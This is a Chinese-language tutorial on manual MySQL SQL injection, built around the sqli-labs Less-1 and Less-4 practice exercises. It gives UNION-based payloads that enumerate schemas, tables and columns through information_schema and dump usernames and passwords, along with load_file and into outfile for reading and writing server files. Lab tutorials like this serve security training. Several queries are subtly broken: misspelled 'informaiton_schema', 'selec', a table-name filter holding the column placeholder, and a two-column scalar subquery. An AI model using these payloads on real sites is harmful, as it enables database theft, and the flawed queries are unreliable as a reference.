sql手工注入方法

Mysql内置库:

mysql:保存现有账户信息,权限信息,存储过程,event,时区等信息

sys:包含了一系列的存储过程,自定义函数以及视图来帮助我们快速的了解系统的元数据信息(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)

performance_schema:用于收集数据库服务器性能参数

information_schema:它提供了访问数据库元数据的方式,其中保存着关于Mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的类型与访问权限等

核心原理:

Mysql内置的information_schema库,他功能强大,是我们进行注入的基石,通过information_schema可以窥视整个数据库的运行情况和数据信息

查询数据的核心语法:

查库:select schema_name from informaiton_schema.schemata

查表:select table_name from information_schema.tables where table_schema=库名

查列:select column_name from information_schema.columns where

table_name=表名

查数据:select 列名 from 库名.表名

若某个数据不能使用单引号包括,可以用hex转换

tips:

  1. 所有类型的注入都是基于查库查表查列
  2. 如果数据太多导致无法返回查询结果,查询的场景:可利用limit限定返回的数量和位置,依次查询。回显数据的场景:concat链接多个数据成为一条返回结果
  3. 在一些场景,想要快速获取数据,需借助工具如bp

    练习:sqli-lab less1

id=1时

1
select * from user where id='1' limit 0,1

可得到用户名和密码回显

1
2
id=2'时
select * from user where id='2' 'limit 0,1

回显语法错误,进行简单的逻辑判断
id=2’ and ‘1’ =’1

1
selec * from user where id ='2' and '1' = '1'

回显正常,得到id=2的用户名和密码,由此可知这一题存在sql注入
利用上述提到的知识进行注入先用union判断字段长度

id=2’ order by 1– +

1
select * from user where id='2' order by 1-- + '

回显正常,说明存在一个字段,依次增加字段数,可知道有三个字段
id=2’ union select 1,2,3–+

1
select * from user where id='2' union select 1,2,3 --+'

回显正常,确实存在三个字段,接着因为2不能返回我们想要的结果,切换为不存在的id值
id=-2’ union select 1,2,(select schema_name from information_schema.schemata)–+

1
select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata)--+'

这次返回提示我们返回的数据过多,我们使用limit对数据进行依次查看或者group_concat将数据集合查看
id=-2’ union select 1,2,(select schema_name from information_schema.schemata limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata limit 0,1)--+'

获得了库名,继续获得表名
id=-2’ union select 1,2,(select table_name from information_schema.tables where table_schema=’库名’ limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select table_name from information_schema.tables where table_schema='库名' limit 0,1)--+'

获得了表名,继续获得列名
id=-2’ union select 1,2,(select column_name from information_schema.columns where table_name=’表名’ limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select column_name from information_schema.columns where table_name='列名' limit 0,1)--+'

获得了表名和列名,就可以直接查询数据了
id=-2’ union select 1,2,(select username,password from 库名.表名)–+

1
select * from user where id='-2' union select 1,2,(select username,password from 库名.表名)--+'

如果返回数据过多,依旧使用上述两种方法,如果查询出来过多不便辨认,可以使用concat_ws(‘~’,username,password)进行分割
也有一些比较简单的语句

比如:

1
2
3
4
select user()
select database()
select load_file('文件目录')读本地文件或者系统文件
select 'test' into outfile '文件目录' 写文件(root权限)

Union联合查询

union操作符:

union操作符用于合并两个或多个select语句的结果集。

注意,union内部的select语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每条select语句中的列顺序必须相同

默认情况,union操作符选取不同的值,如果允许重复的值,请使用union all

例子:

1
2
select columns_name(s) from table_name1 union select column_name(s) from table_name2
select columns_name(s) from table_name1 union all select column_name(s) from table_name2

union注入应用场景:

  1. 只有最后一个select子句允许有Order by;
  2. 只要最后一个select子句允许有limit
  3. 只要Union链接的几个查询的字段数一样且列的数据类型转换没有问题。就可以查询出结果
  4. 注入点页面有回显
    例子:
1
2
select * from users order by id union select  1,2,3;
select * from users limit 0,1 union select 1,2,3

union注入过程: sqli=lab less4学习

orderby 猜出来的列数超过数据库表中的列数,报错并不能返回数据

  1. orderby确定列数(二分法)
  2. 观察回显,选取数据位置,进行下一步注入
  3. 读库信息
  4. 读表信息
  5. 读字段
  6. 读数据
    大体步骤跟上文差不多这里给出例子:

id=-1’ union select 1,2,(select database())–+

1
select * from users where id='-1' union select 1,2,(select database())--+'

接着按照手工注入的步骤继续查询我们想要的信息,如果信息过多就采取limit或者group_concat,要采取间隔就用concat_ws,这样会更好查看一点